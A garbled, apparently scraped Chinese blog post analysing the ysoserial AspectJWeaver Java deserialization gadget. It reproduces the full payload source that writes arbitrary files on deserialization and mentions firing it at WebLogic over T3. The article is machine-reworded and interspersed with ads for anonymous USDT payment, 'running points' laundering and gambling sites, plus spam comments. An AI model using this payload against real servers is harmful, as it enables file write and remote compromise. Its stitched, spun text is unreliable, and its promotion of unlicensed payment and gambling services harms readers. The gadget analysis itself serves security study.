USDT自动充值

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

昨天在挖weblogic破绽时发现ysoserial更新了一个新的gadget AspectJWeaver,今天剖析一下。

剖析

先看下yso给出的payload

package ysoserial.payloads;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

/*
Gadget chain:
HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

Usage:
args = "<filename>;<base64 content>"
Example:
java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="

More information:
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
 */
@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({ Authors.JANG })

public class AspectJWeaver implements ObjectPayload<Serializable> {

    public Serializable getObject(final String command) throws Exception {
        int sep = command.lastIndexOf(';');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
        }
        String[] parts = command.split(";");
        String filename = parts[0];
        byte[] content = Base64.decodeBase64(parts[1]);

        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Object simpleCache = ctor.newInstance(".", 12);
        Transformer ct = new ConstantTransformer(content);
        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);

        return map;

    }

    public static void main(String[] args) throws Exception {
        args = new String[]{"ahi.txt;YWhpaGloaQ=="};
        PayloadRunner.run(AspectJWeaver.class, args);
    }
}

先看客栈后半段

org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap,writeToPath

writeToPath中key和value分别是文件名和内容。

org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap,put中挪用了writeToPath。

现在若是反序列化时可以触发put方式,就可以自动写入文件。

再通过正向头脑看前半段,我们的目的是寻找put方式挪用。

,

Usdt第三方支付接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

在HashSet类的readObject中

进行了map.put,跟进

跟进hash()

这里自动挪用了key.hashCode()即org.apache.commons.collections.keyvalue.TiedMapEntry,hashCode

hashCode()自动挪用了getValue()

getValue()又挪用自身map字段的get方式。自身map字段为Map类型,而在org.apache.commons.collections.map.LazyMap,get中进行了put方式,接上了我们后半段的put方式。

到此整条链就竣事了,算是比较简单的一条gadget。

这条链我通过T3打过去,发现weblogic已经过滤了org.apache.commons.collections.functors包名,信赖不久就会泛起新的绕过。

参考

  1. 我在weblogic服务器12.2.1.3.0中找到了一个新的RCE gadget
ag区块链百家乐声明:该文看法仅代表作者自己,与www.allbetgame.us无关。转载请注明:usdt支付接口(www.caibao.it):ysoserial AspectJWeaver file write gadget
发布评论

分享到:

你和智慧型怙恃之间,只隔着这9张图片
3 条回复
  1. 卡利开户
    卡利开户
    (2021-03-01 00:05:26) 1#

    平台很靠谱

  2. USDT自动充提教程网(www.6allbet.com)
    USDT自动充提教程网(www.6allbet.com)
    (2022-03-19 00:00:05) 2#

      这些提议意味着可能是现代隶属公司起亚汽车公司在佐治亚州的一家工厂组装汽车,或在该国建设新工厂。据信,设计将在2024年生产约100,000辆汽车,该工厂的年产能将到达40万辆。蛮用心的

  3. 足彩预测
    足彩预测
    (2023-03-14 00:08:57) 3#

    有创意

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。